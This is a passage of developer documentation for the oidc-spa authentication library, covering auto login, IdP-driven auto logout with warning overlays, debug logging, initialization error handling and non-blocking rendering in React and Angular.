<strong>                        }
</strong>                    &#x3C;/main>
                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}
</code></pre>

You can remove all the assertin your oidc component, the components specifically for the not logged in state can be removed.

{% code title="src/components/Header.tsx" %}

```diff
import { useOidc } from "@/oidc";

-function AuthButtons() {
-    const { hasInitCompleted, isUserLoggedIn } = useOidc();
-
-    if (!hasInitCompleted) {
-        return null;
-    }
-
-    return isUserLoggedIn ? <LoggedInAuthButton /> : <NotLoggedInAuthButton />;
-}
-
-function LoggedInAuthButton() {
-    const { logout } = useOidc({ assert: "user logged in" });
-
-    return (
-        <button
-            onClick={() => logout({ redirectTo: "home" })}
-        >
-            Logout
-        </button>
-    );
-}
-
-function NotLoggedInAuthButton() {
-    const { login, issuerUri } = useOidc({ assert: "user not logged in" });
-
-    return (
-        <div className="flex items-center gap-2">
-            <button
-                onClick={() => login()}
-            >
-                Login
-            </button>
-        </div>
-    );
-}

+function AuthButtons() {
+
+    const { isOidcReady, logout } = useOidc();
+
+    if (!isOidcReady) {
+        return null;
+    }
+
+    return (
+        <button
+            onClick={() => logout({ redirectTo: "home" })}
+        >
+            Logout
+        </button>
+    );
+}
```

{% endcode %}

You can remove the `assert: "user logged in"` from `oidcFnMiddleware` and `oidcRequestMiddleware`:

```diff
-oidcFnMiddleware({ assert: "user logged in" })
+oidcFnMiddleware()

-oidcRequestMiddleware({ assert: "user logged in" })
+oidcRequestMiddleware()
```

You can remove all the beforeLoad: enforceLogin:

```diff
 export const Route = createFileRoute("/demo/start/api-request")({
-    beforeLoad: enforceLogin,
     loader: async () => { }, 
     pendingComponent: () => <Spinner />,
     component: Home
 });
```

For all the components that are within the \<OidcInitializationGate /> you know that hasInitCompleted will be true so you can assert it to narrow down the type:

```diff
-const { ... } = useOidc({ assert: "user logged in" });
+const { ... } = useOidc({ assert: "ready" });
```

{% endtab %}

{% tab title="React SPA" %}
{% code title="src/oidc.ts" %}

```diff
 export const {
     bootstrapOidc,
     useOidc,
     getOidc,
     OidcInitializationGate
-    withLoginEnforced,
-    enforceLogin
 } = oidcSpa
     .withExpectedDecodedIdTokenShape({ /* ... */ })
+    .withAutoLogin()
     .createUtils();
```

{% endcode %}

You can then proceed to remove all the usage of `withLoginEnforced` and `enforceLogin` throughout your codebase.\
\
You can also remove all the assetion of the login state of the user:

```diff
- useOidc({ assert: "user logged in" });
+ useOidc();
```

All the components with `useOidc({ assert: "user not logged in" });` can be removed.
{% endtab %}

{% tab title="Angular" %}

<pre class="language-typescript" data-title="src/app/services/oidc.service.ts"><code class="lang-typescript">@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService&#x3C;DecodedIdToken> {
  // ...
<strong>  override autoLogin = true;
</strong>}
</code></pre>

All the handling for the user not logged in state can be removed.

{% code title="src/app/app.html" %}

```diff
-@if (oidc.isUserLoggedIn) {
 <div>
       <span>Hello {{ oidc.$decodedIdToken().name }}</span>
       <button (click)="oidc.logout({ redirectTo: 'home' })">Logout</button>
 </div>
-} @else {
-<div>
-      <button (click)="oidc.login()">Login</button>
-</div>
-}
```

{% endcode %}

You can remove the usage of Oidc.enforceLoginGuard:

{% code title="src/app/app.routes.ts" %}

```diff
-canActivate: [Oidc.enforceLoginGuard],
//...
 canActivate: [
   async (route) => {
     const oidc = inject(Oidc);
     const router = inject(Router);
-    await Oidc.enforceLoginGuard(route);   
     //...
  },
],
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Auto Logout

Auto logout is **not** a feature you enable or disable in `oidc-spa`.\
It’s a **policy defined by your Identity Provider (IdP)**.\
What oidc-spa provides is:

* A mechanism to display a feedback overlay that warns users before they’re logged out due to inactivity.
* Ensure they never remain stuck on a stale UI where any interaction would simply redirect them to the login page.
* Monitoring of real user activity across all tabs of your application, ensuring users aren’t mistakenly marked as inactive just because they haven’t performed an action that directly contacts the IdP.

{% embed url="<https://youtu.be/GeZaZIr-d68>" %}
Example: Demo app with a short SSO Session Idle
{% endembed %}

***

## Understanding the Auto Logout Policy

The duration before an inactive user is logged out is **not configured in `oidc-spa,`** it’s controlled by your IdP.\
Depending on the platform, this policy might be named:

* **SSO Session Idle**
* **Idle Session Lifetime**
* **Inactivity Timeout**

When a user logs into your application, the IdP creates a **session** for that user.\
As long as this session remains active, returning to your app (with the **same browser**) automatically restores it, no new login required.

Your IdP defines how long such sessions remain active:

* **Weeks or days** → Users rarely have to log in again (e.g., Instagram, X/Twitter)
* **Minutes** → Users must log in often or may be logged out during inactivity

`oidc-spa` automatically **monitor user activity across tabs,** mouse movement, touch events, or keyboard input.\
As long as the user is active, it periodically pings the IdP to **keep the session alive**.

> 💡 **Note:**\
> IdP configuration panels often include multiple session policies.\
> For example:
>
> * **SSO Session Idle:** how long before the session expires if idle
> * **SSO Session Max / Maximum Lifetime:** total duration before forced expiration
> * **Remember Me:** may extend lifetime if selected and if not selected set session cookie to expire when the browser closes (not just the tab)

***

## Configuring Auto Logout Policy

Guides for common providers:

* [Keycloak](/providers-configuration/keycloak#security-sensitive-apps-banking-admin-panels-etc)
* [Auth0](/providers-configuration/auth0#optional-configuring-auto-logout)
* Other providers: search for:
  * “SSO Session Idle”
  * “Idle Session Lifetime”
  * “Inactivity Timeout”
  * Refresh Token TTL

***

## Verifying Auto Logout

To confirm that your IdP communicates its session policy correctly, enable debug logs:

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({ 
    // ...
    debugLogs: true 
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
    // ...
    debugLogs: true
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
  // ...
  debugLogs: true
})
```

{% endcode %}
{% endtab %}
{% endtabs %}

Then open your browser console.

If you see:

> `oidc-spa: The user will be automatically logged out after X minutes of inactivity.`

✅ You’ve successfully configured auto logout.

If instead you see:

> `oidc-spa: No refresh token, and idleSessionLifetimeInSeconds was not set, can't implement auto logout mechanism.`

It means your IdP does **not** expose this information to clients.\
In that case, you must manually specify the duration using `idleSessionLifetimeInSeconds` and keep it in sync with your IdP configuration. Keep reading for futher instructions.

***

## Auto Logout Options

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc({
    // ...

    // ⚠️ Read carefully:
    // Only use this if your IdP does not expose its session timeout policy.
    // (Optional) Hard-code the number of seconds of inactivity before auto logout.
    idleSessionLifetimeInSeconds: 300, // 5 minutes

    // (Optional) Where to redirect after auto logout:
    // autoLogoutParams: { redirectTo: "current page" } // Default
    // autoLogoutParams: { redirectTo: "home" }
    autoLogoutParams: {
        redirectTo: "specific url",
        get url() {
            // This let's you create a page that inform the user they have beel
            // logged out due to inactivity and display a button to come back
            // where they left off at the time of autoLogout.
            return `/activity-logout?return_url=${encodeURIComponent(location.href)}`;
        }
    }
});
```

{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
  // ...
  
  // (Optional) How long before auto logout the warning overlay should appear.
  // Default: 45 seconds
  warnUserSecondsBeforeAutoLogout: 45,
  
  // ⚠️ Read carefully:
  // Only use this if your IdP does not expose its session timeout policy.
  // (Optional) Hard-code the number of seconds of inactivity before auto logout.
  idleSessionLifetimeInSeconds: 300, // 5 minutes
    
  // (Optional) Where to redirect after auto logout:
  // autoLogoutParams: { redirectTo: "current page" } // Default
  // autoLogoutParams: { redirectTo: "home" }
  autoLogoutParams: {
      redirectTo: "specific url",
      get url() {
          // This let's you create a page that inform the user they have beel
          // logged out due to inactivity and display a button to come back
          // where they left off at the time of autoLogout.
          return `/activity-logout?return_url=${location.href}`;
      }
  }
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
export const appConfig: ApplicationConfig = {
  providers: [
    // ...
    Oidc.provide({
      // ...
      
      // (Optional) How long before auto logout the overlay should appear.
      // Default: 45 seconds
      warnUserSecondsBeforeAutoLogout: 45,
      
      // ⚠️ Read carefully:
      // Only use this if your IdP does not expose its session timeout policy.
      // (Optional) Hard-code the number of seconds of inactivity before auto logout.
      idleSessionLifetimeInSeconds: 300, // 5 minutes
    
      // (Optional) Where to redirect after auto logout:
      // autoLogoutParams: { redirectTo: "current page" } // Default
      // autoLogoutParams: { redirectTo: "home" }
      autoLogoutParams: {
          redirectTo: "specific url",
          get url() {
              // This let's you create a page that inform the user they have beel
              // logged out due to inactivity and display a button to come back
              // where they left off at the time of autoLogout.
              return `/activity-logout?return_url=${location.href}`;
          }
      }
    })
  ]
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

## Displaying a Warning Before Auto Logout

`oidc-spa` provides convenient hooks to display a **warning overlay** (or any other UI) before the user is automatically logged out.

{% tabs %}
{% tab title="Framework Agnostic" %}
Let's assume we have some utility to display an overlay modal: `showModal(message)` and `hideModal()`:

```typescript
const { unsubscribeFromAutoLogoutCountdown } =
  oidc.subscribeToAutoLogoutCountdown(({ secondsLeft }) => {
    if (secondsLeft === undefined) {
      // Countdown reset — user became active again
      hideModal();
      return;
    }
    if (secondsLeft > 60) {
      // Logout is still far away — no warning yet
      return;
    }
    showModal(`Are you still there? ${secondsLeft}s before auto logout.`);
  });
```

{% endtab %}

{% tab title="React" %}
{% code title="src/components/AutoLogoutWarningOverlay.tsx" %}

```tsx
import { useOidc } from "~/oidc";

export function AutoLogoutWarningOverlay() {
  const { autoLogoutState } = useOidc();

  if (!autoLogoutState.shouldDisplayWarning) {
    return null;
  }

  return (
    <div className="fixed inset-0 z-50 flex items-center justify-center bg-black/70 px-4 backdrop-blur">
      <div
        role="alertdialog"
        aria-live="assertive"
        aria-modal="true"
        className="w-full max-w-sm rounded-2xl border border-slate-800 bg-slate-900 p-6 text-center shadow-xl shadow-black/30"
      >
        <p className="text-sm font-medium text-slate-400">
          Are you still there?
        </p>
        <p className="mt-2 text-lg font-semibold text-white">
          You will be logged out in {autoLogoutState.secondsLeftBeforeAutoLogout}s
        </p>
      </div>
    </div>
  );
}
```

{% endcode %}

Then mount it near the root of your app:

<pre class="language-tsx" data-title="src/App.tsx"><code class="lang-tsx"><strong>import { AutoLogoutWarningOverlay } from "./components/AutoLogoutWarningOverlay";
</strong>
export function App() {
  return (
    &#x3C;div>
      &#x3C;Header />
      &#x3C;main>{/* ... */}&#x3C;/main>
<strong>      &#x3C;AutoLogoutWarningOverlay />
</strong>    &#x3C;/div>
  );
}
</code></pre>

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.html" %}

```html
<header>...</header>

<router-outlet />

@if (oidc.$secondsLeftBeforeAutoLogout()) {
  <!-- Full screen overlay, blurred background -->
  <div [style]="{
    position: 'fixed',
    top: 0,
    left: 0,
    right: 0,
    bottom: 0,
    backgroundColor: 'rgba(0,0,0,0.5)',
    backdropFilter: 'blur(10px)',
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
    zIndex: 1000
  }">
    <div>
      <p>Are you still there?</p>
      <p>You will be logged out in {{ oidc.$secondsLeftBeforeAutoLogout() }}</p>
    </div>
  </div>
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

***


# Debug and Error Handling

Gracefully handle authentication issues

What happens if your OIDC server is down or misconfigured?\
This guide explains how to debug your setup during development and handle errors gracefully in production.

***

## Debugging in Development

To better understand what’s going on under the hood, enable debug logs in your configuration.\
This will print detailed information to your browser console about OIDC initialization, token validation, and redirects.

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({ 
  // ...
  debugLogs: true 
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
  // ...
  debugLogs: true
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
  // ...
  debugLogs: true
});
```

{% endcode %}
{% endtab %}
{% endtabs %}

Once enabled, make sure to check **"Preserve Log"** in your browser’s console options so the logs aren’t cleared during redirects.

Here’s a common example:\
If you see a message like this in the console, it usually means your **Valid Redirect URIs** list in your IdP configuration is incomplete:

<figure><img src="/files/w9en1ngjHtnjrmpCH7h9" alt="Console showing missing redirect URI error"><figcaption></figcaption></figure>

In this case, simply add `http://localhost:3000/` (or the appropriate URL for your environment) to your list of valid redirect URIs in the IdP settings.

***

## Gracefully Handling Errors in Production

{% tabs %}
{% tab title="My App doesn't have AutoLogin enabled" %}
{% content-ref url="/pages/3ihTpAXj8fpQE6T3N8Mf" %}
[Error Handling - No AutoLogin](/features/error-management/error-handling-no-autologin)
{% endcontent-ref %}
{% endtab %}

{% tab title="My App has AutoLogin enabled" %}
{% content-ref url="/pages/NpMDaypbUoQjAqBEbyY0" %}
[Error Handling - With AutoLogin](/features/error-management/error-handling-with-autologin)
{% endcontent-ref %}
{% endtab %}
{% endtabs %}


# Error Handling - No AutoLogin

{% hint style="info" %}
This guide only apply if you do **not** have [Auto Login](/features/auto-login) enabled.\
If you have Auto Login enabled follow [this guide instead](/features/error-management/error-handling-with-autologin).
{% endhint %}

If oidc-spa fails to initialize (because of a **misconfiguration** or because the **authorization server is unavailable**), your app will load with the user state **not logged in** (`oidc.isUserLoggedIn === false`).\
The goal is to let users browse public pages even when authentication cannot start.

If, in this state, the user clicks a “Log in” button or navigates to a page that requires authentication, by default oidc-spa will fire this alert:

> Authentication is currently unavailable. Please try again later.

You can customize this behavior (toast, inline banner, maintenance page, retry, etc.) or surface an error page if that fits your UX.

{% hint style="info" %}
Use `initializationError.isAuthServerLikelyDown` to distinguish a temporary outage from a misconfiguration.\
`initializationError.message` is a **developer-oriented** diagnostic with the likely cause and fix; do **not** show it to end users.
{% endhint %}

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc(...);

if( !oidc.isUserLoggedIn ){
    // User isn’t logged in: allow the app to render public pages and stop here.
    return;
}

if( oidc.initializationError ){

    // Helps you distinguish a misconfiguration from a temporary auth-server outage.
    console.log(oidc.initializationError.isAuthServerLikelyDown);
    
    // Developer-only diagnostic with likely cause and fix.
    // Do not display this to end users.
    console.log(initializationError.message);
    
    const handleLoginClick = ()=> {
    
        if( oidc.initializationError ){
            // Developer note: keep this user-facing message short and neutral.
            alert("Can't login now, try again later");
            return;
        }
        
        oidc.login(...);
    
    };
}
```

{% endtab %}

{% tab title="React" %}

```tsx
import { useOidc } from "~/oidc";
import { useEffect } from "react";

function AuthButtons() {

    const { isUserLoggedIn, login, logout, initializationError } = useOidc();

    useEffect(() => {
        if (initializationError) {
            // Helps distinguish misconfiguration vs. temporary auth-server outage.
            console.log(initializationError.isAuthServerLikelyDown);
        
            // Developer-only diagnostic with likely cause and fix.
            // Do not display this to end users.
            console.log(initializationError.message);
        }
    }, []);

    if (isUserLoggedIn) {
        return <button onClick={()=> logout({ redirectTo: "home" })}>Logout</button>;
    }

    return (
        <button onClick={() => {

            if (initializationError) {
                // Keep the UX calm and actionable.
                alert("Can't login now, try again later")
                return;
            }

            login({ ... });

        }}>
            Login
        </button>
    );

}
```

{% endtab %}

{% tab title="Angular" %}

<pre class="language-tsx" data-title="src/app/app.ts"><code class="lang-tsx">@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor() {
<strong>    if (!this.oidc.isUserLoggedIn &#x26;&#x26; this.oidc.initializationError) {
</strong><strong>      const { initializationError } = this.oidc;
</strong>
<strong>      // Helps distinguish a misconfiguration from a temporary auth-server outage.
</strong><strong>      console.log(initializationError.isAuthServerLikelyDown);
</strong>
<strong>      // Developer-only diagnostic with the likely cause and fix.
</strong><strong>      // Do not display this to end users.
</strong><strong>      console.log(initializationError.message);
</strong>    }
  }

<strong>  login() {
</strong><strong>    if (this.oidc.isUserLoggedIn) {
</strong><strong>      throw new Error('Control flow error: The user is already logged in');
</strong><strong>    }
</strong>
<strong>    if (this.oidc.initializationError) {
</strong><strong>      // Keep the UX calm and actionable.
</strong><strong>      alert("Can't login now, try again later");
</strong><strong>      return;
</strong><strong>    }
</strong>
<strong>    return this.oidc.login();
</strong><strong>  }
</strong>
}
</code></pre>

{% endtab %}
{% endtabs %}


# Error Handling - With AutoLogin

{% hint style="info" %}
This guide only applies if you have enabled [Auto Login](/features/auto-login).\
If you do **not** have Auto Login enabled, follow [this guide instead](/features/error-management/error-handling-no-autologin).
{% endhint %}

Here is how you can gracefully handle oidc initialization errors:

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc, type OidcInitializationError } from "oidc-spa/core";

const oidc = await createOidc({
    // ...
    autoLogin: true
})
// In autoLogin: false, createOidc never throws.
// In autoLogin: true, it can throw — but only OidcInitializationError —
// so you can safely narrow/cast here.
.catch(error => error as OidcInitializationError);

if( oidc instanceof Error ){

    const oidcInitializationError = oidc;
    
    // Use this to distinguish a misconfiguration from a temporary auth-server outage.
    // NOTE: below references should use `oidcInitializationError`.
    console.log(initializationError.isAuthServerLikelyDown);
    
    // Developer-only diagnostic with likely cause and fix.
    // Do not display this to end users.
    console.log(initializationError.message);
    
    alert("Our auth is down, sorry :(");
    
    // Halt the app in a typed-safe way (nothing renders until you decide otherwise).
    await Promise<never>(()=>{});
}
```

{% endtab %}

{% tab title="TanStack Start" %}

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";

import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
<strong>import { useOidc } from "@/oidc";
</strong><strong>import type { OidcInitializationError } from "oidc-spa/core";
</strong>
export const Route = createRootRoute({
    // ...
    shellComponent: RootDocument
});

function RootDocument({ children }: { children: React.ReactNode }) {

<strong>    const { oidcInitializationError } = useOidc();
</strong>
    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body>
                &#x3C;div className="min-h-screen flex flex-col">
                    &#x3C;Header />
                    &#x3C;main className="flex flex-1 flex-col">
<strong>                        {oidcInitializationError ? (
</strong><strong>                            &#x3C;OidcErrorComponent oidcInitializationError={oidcInitializationError} />
</strong><strong>                        ) : (
</strong>                            children
<strong>                        )}
</strong>                    &#x3C;/main>
                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}

<strong>function OidcErrorComponent(props: { 
</strong><strong>    oidcInitializationError: OidcInitializationError;
</strong><strong>}){
</strong><strong>    const { oidcInitializationError } = props;
</strong><strong>    
</strong><strong>    // Distinguish misconfiguration vs. temporary auth-server outage.
</strong><strong>    console.log(oidcInitializationError.isAuthServerLikelyDown);
</strong>
<strong>    // Developer-only diagnostic with likely cause and fix.
</strong><strong>    // Do not display this to end users.
</strong><strong>    console.log(oidcInitializationError.message);
</strong>
<strong>    return &#x3C;h1>Our auth is down, sorry&#x3C;/h1>;
</strong><strong>    
</strong><strong>}
</strong>
</code></pre>

{% endtab %}

{% tab title="React SPAs" %}

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">import { oidcSpa } from "oidc-spa/react-spa";

export const {
    bootstrapOidc,
    useOidc,
    getOidc,
    OidcInitializationGate,
<strong>    OidcInitializationErrorGate
</strong>} = oidcSpa
    .withExpectedDecodedIdTokenShape({ /* ... */ }),
    .withAutoLogin()
    .createUtils();
</code></pre>

<pre class="language-tsx"><code class="lang-tsx">import React from "react";
import ReactDOM from "react-dom/client";
import { App } from "./App";
import { 
    OidcInitializationGate, 
<strong>    OidcInitializationErrorGate 
</strong>} from "~/oidc";
import type { OidcInitializationError } from "oidc-spa/core";

ReactDOM.createRoot(document.getElementById("root")!).render(
    &#x3C;React.StrictMode>
        &#x3C;OidcInitializationGate>
<strong>            &#x3C;OidcInitializationErrorGate errorComponent={OidcErrorComponent} >
</strong>                &#x3C;App />
<strong>            &#x3C;/OidcInitializationErrorGate>
</strong>        &#x3C;/OidcInitializationGate>
    &#x3C;/React.StrictMode>
);

<strong>function OidcErrorComponent(props: { 
</strong><strong>    oidcInitializationError: OidcInitializationError;
</strong><strong>}){
</strong><strong>    const { oidcInitializationError } = props;
</strong><strong>    
</strong><strong>    // Distinguish misconfiguration vs. temporary auth-server outage.
</strong><strong>    console.log(oidcInitializationError.isAuthServerLikelyDown);
</strong>
<strong>    // Developer-only diagnostic with likely cause and fix.
</strong><strong>    // Do not display this to end users.
</strong><strong>    console.log(oidcInitializationError.message);
</strong>
<strong>    return &#x3C;h1>Our auth is down, sorry&#x3C;/h1>;
</strong><strong>    
</strong><strong>}
</strong></code></pre>

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.html" %}

```html
@if (oidc.initializationError) {
<h1>Our Auth is down, sorry :(</h1>
}@else{
<!-- Your app -->
}
```

{% endcode %}

<pre class="language-typescript"><code class="lang-typescript">@Component({
  selector: 'app-root',
  imports: [RouterOutlet, RouterLink, RouterLinkActive],
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor(){

<strong>    if( this.oidc.initializationError ){
</strong>
<strong>      const { initializationError } = this.oidc;
</strong>
<strong>      // Distinguish a misconfiguration from a temporary auth-server outage.
</strong><strong>      console.log(initializationError.isAuthServerLikelyDown);
</strong>
<strong>      // Developer-only diagnostic with likely cause and fix.
</strong><strong>      // Do not display this to end users.
</strong><strong>      console.log(initializationError.message);
</strong>
<strong>    }
</strong>
  }
}
</code></pre>

{% endtab %}
{% endtabs %}


# Non Blocking Rendering

This section explains how to configure your application so it can begin rendering before the user’s authentication state is fully determined.

With this setup, the initial UI appears immediately, and authentication-aware components are rendered a moment later once the auth state is resolved. The result looks like this video:

{% embed url="<https://www.youtube.com/watch?v=t1qfU_GeTM4>" %}

{% tabs %}
{% tab title="React SPAs" %}

### Default: blocking rendering (simplest)

<pre class="language-tsx" data-title="src/main.tsx"><code class="lang-tsx">import React from "react";
import ReactDOM from "react-dom/client";
import { App } from "./App";
<strong>import { OidcInitializationGate } from "~/oidc";
</strong>

ReactDOM.createRoot(document.getElementById("root")!).render(
    &#x3C;React.StrictMode>
<strong>        &#x3C;OidcInitializationGate>
</strong>            &#x3C;App />
<strong>        &#x3C;/OidcInitializationGate>
</strong>    &#x3C;/React.StrictMode>
);
</code></pre>

By default, this setup **defers rendering your entire app** until `bootstrapOidc()` has resolved, in other words, until oidc-spa has contacted your IdP and determined whether the user currently has an active session.

This is often the **simplest and safest** choice:

* You don’t have to think about whether the auth state has settled.
* There’s no risk of layout shifts.

You just need to make sure to at least [set the background color early to avoid white flashes](https://github.com/keycloakify/oidc-spa/blob/c39b0fb70a576e62602d99e9ef86211532de1e35/examples/react-router-declarative/src/index.css#L12).

***

### Faster first paint: non-blocking rendering

However, for **optimal performance**, you can start rendering *before* the authentication state is resolved, letting the page appear instantly, while auth-aware components hydrate a few milliseconds later.

For example:

{% embed url="<https://youtu.be/t1qfU_GeTM4?si=xrbRvl9dJQS9xccJ>" %}

In this short demo, the homepage renders immediately, and components depending on authentication appear shortly after the session check completes.

You can achieve this simply by moving `<OidcInitializationGate />` closer to the components that call `useOidc()`:

First, you need to remove the root OidcInitializationGate:

{% code title="src/main.tsx" %}

```diff
 import React from "react";
 import ReactDOM from "react-dom/client";
 import { BrowserRouter } from "react-router";
 import { App } from "./App";
-import { OidcInitializationGate } from "~/oidc";
 import "./index.css";

 ReactDOM.createRoot(document.getElementById("root")!).render(
     <React.StrictMode>
-         <OidcInitializationGate>
             <BrowserRouter>
                 <App />
             </BrowserRouter>
-         </OidcInitializationGate>
     </React.StrictMode>
 );
```

{% endcode %}

Then wrap all the components that call the useOidc() hook without assertion, into `<OidcInitializationGate />` or `<Suspense />`:

{% hint style="warning" %}
Don't forget `<AutoLogoutWarningOverlay />`! If you forget to wrap a single component that call useOidc(), you're all app will suspend.
{% endhint %}

{% hint style="success" %}
The components that call useOidc({ assert: "..." }) do **not** need to be wrapped into `OidcInitializationGate`! If you are able to make an assertion, the auth state has been established already and those calls will never suspend!
{% endhint %}

<pre class="language-tsx" data-title="src/components/Header.tsx"><code class="lang-tsx">import { Suspense } from "react";
import { 
    useOidc, 
<strong>    OidcInitializationGate 
</strong>} from "~/oidc";

export function Header() {
    return (
        &#x3C;header>
            {/* ... */}
<strong>            &#x3C;OidcInitializationGate fallback={&#x3C;Spinner />}>
</strong>                &#x3C;AuthButtons />
<strong>            &#x3C;/OidcInitializationGate>
</strong>
<strong>            {/* OR */}
</strong>
<strong>            {/*
</strong>            &#x3C;Suspense fallback={&#x3C;Spinner />}>
                &#x3C;AuthButtons />
            &#x3C;/Suspense>
<strong>            */}
</strong>
        &#x3C;/header>
    );
}

function AuthButtons() {
    const { isUserLoggedIn } = useOidc();

    return (
        &#x3C;div className="animate-fade-in">
            {isUserLoggedIn ? &#x3C;LoggedInAuthButtons /> : &#x3C;NotLoggedInAuthButtons />}
        &#x3C;/div>
    );
}
</code></pre>

***

### Using React’s built-in Suspense

You can use React’s built-in `<Suspense />` instead of `<OidcInitializationGate />`.\
This is often even better, as it lets you define a unified fallback for all your app’s asynchronous operations.

When called before the auth state is ready, `useOidc()` throws a Promise, which React will catch using the nearest Suspense boundary.

This means you **must** wrap any component that calls `useOidc()` in either `<OidcInitializationGate />` or `<Suspense />`.\
If you don’t, your entire app will suspend.

***

### Only if you are using `withLoginEnforced()`

Consider this:

<pre class="language-tsx" data-title="src/pages/Protected.tsx"><code class="lang-tsx">import { withLoginEnforced } from "~/oidc";

<strong>// This component can suspend when rendered (like a lazy component would)
</strong><strong>// You must define a suspense boundary around it (or use OidcInitializationGate).
</strong>const Protected = withLoginEnforced(() => {
    return &#x3C;div>{/* ... */}&#x3C;/div>;
});

export default Protected;
</code></pre>

Example:

<pre class="language-tsx" data-title="src/App.tsx"><code class="lang-tsx">import { lazy, Suspense } from "react";
import { Navigate, Route, Routes } from "react-router";
import { AutoLogoutWarningOverlay } from "./components/AutoLogoutWarningOverlay";
import { Header } from "./components/Header";
import { Home } from "./pages/Home";
const Protected = lazy(() => import("./pages/Protected"));
const AdminOnly = lazy(() => import("./pages/AdminOnly"));

export function App() {
    return (
        &#x3C;>
            &#x3C;Header />
            &#x3C;main>
<strong>                &#x3C;Suspense fallback={&#x3C;Spinner />}>
</strong>                    &#x3C;Routes>
                        &#x3C;Route index element={&#x3C;Home />} />
                        &#x3C;Route path="protected" element={&#x3C;Protected />} />
                        &#x3C;Route path="admin-only" element={&#x3C;AdminOnly />} />
                        &#x3C;Route path="*" element={&#x3C;Navigate to="/" replace />} />
                    &#x3C;/Routes>
<strong>                &#x3C;/Suspense>
</strong>            &#x3C;/main>
            &#x3C;Suspense>
                &#x3C;AutoLogoutWarningOverlay />
            &#x3C;/Suspense>
        &#x3C;/>
    );
}
</code></pre>

With route components like:

***

### TL;DR

* `<OidcInitializationGate />` at the root: **simpler mental model**, no layout shift.
* `<Suspense />` or `<OidcInitializationGate />` near `useOidc()` calls: **faster perceived load**, better user experience.
* Components using `useOidc({ assert: "..." })` do **not** need to be wrapped, they will never suspend.
* If you use `withLoginEnforced()` it need to be wrapped as well.
* Don't forget to wrap `AutoLogoutWarningOverlay`

***

*(In modern browsers, session restoration typically takes under 300 ms, so even full gating often feels instant.)*
{% endtab %}

{% tab title="Angular" %}

### Default: blocking rendering (simplest and safest)

When using the `oidc-spa/angular` adapter, the recommended default is to **let bootstrap wait for OIDC**.\
You do this by using your `Oidc` service and **not** opting out of provider waiting (the default).

**app.config.ts**

<pre class="language-ts"><code class="lang-ts">import { ApplicationConfig } from '@angular/core';
import { provideRouter } from '@angular/router';
import { routes } from './app.routes';
import { Oidc } from './services/oidc.service';

export const appConfig: ApplicationConfig = {
  providers: [
<strong>    // This will NOT resolve until bootstrapOidc() completes.
</strong>    Oidc.provide({
      // ...
    }),
    provideRouter(routes),
  ],
};
</code></pre>

**Oidc service (simple example)**

```ts
import { Injectable } from '@angular/core';
import { AbstractOidcService } from 'oidc-spa/angular';

export type DecodedIdToken = {
  name: string;
  realm_access?: { roles: string[] };
};

@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService<DecodedIdToken> {
  // providerAwaitsInitialization defaults to true
}
```

With this setup, Angular only renders once `bootstrapOidc()` has completed (the IdP has been contacted and the session state is known).

**Why this is nice**

* You do not think about “is OIDC ready”.
* No layout shifts.
* Tests and SSR behave predictably. (NOTE: SSR in Angular not tested yet)

***

### Faster first paint: non-blocking rendering

For optimal performance, you can start rendering **before** the authentication state is fully resolved, so the page appears instantly and OIDC-aware parts “hydrate” moments later.

Example of what it can look in action:

{% embed url="<https://youtu.be/t1qfU_GeTM4>" %}

Enable this by opting out of provider waiting in your `Oidc` service:

<pre class="language-ts"><code class="lang-ts">// examples/angular-kitchensink/src/app/services/oidc.service.ts
import { Injectable } from '@angular/core';
import { AbstractOidcService } from 'oidc-spa/angular';

@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService {
  // The provider no longer blocks Angular bootstrap
<strong>  override providerAwaitsInitialization = false;
</strong>
  // ...
}
</code></pre>

**Important:** Once you do this, **you** are responsible for placing “init boundaries” in templates, so parts of the UI that need OIDC only render once it is ready.

#### Gate OIDC-aware UI with `@defer`

Use Angular’s built-in `@defer` with a `@placeholder` for instant paint:

<pre class="language-html"><code class="lang-html">&#x3C;!-- examples/angular-kitchensink/src/app/app.html -->
&#x3C;header>
  &#x3C;span>OIDC-SPA + Angular (Kitchen Sink)&#x3C;/span>

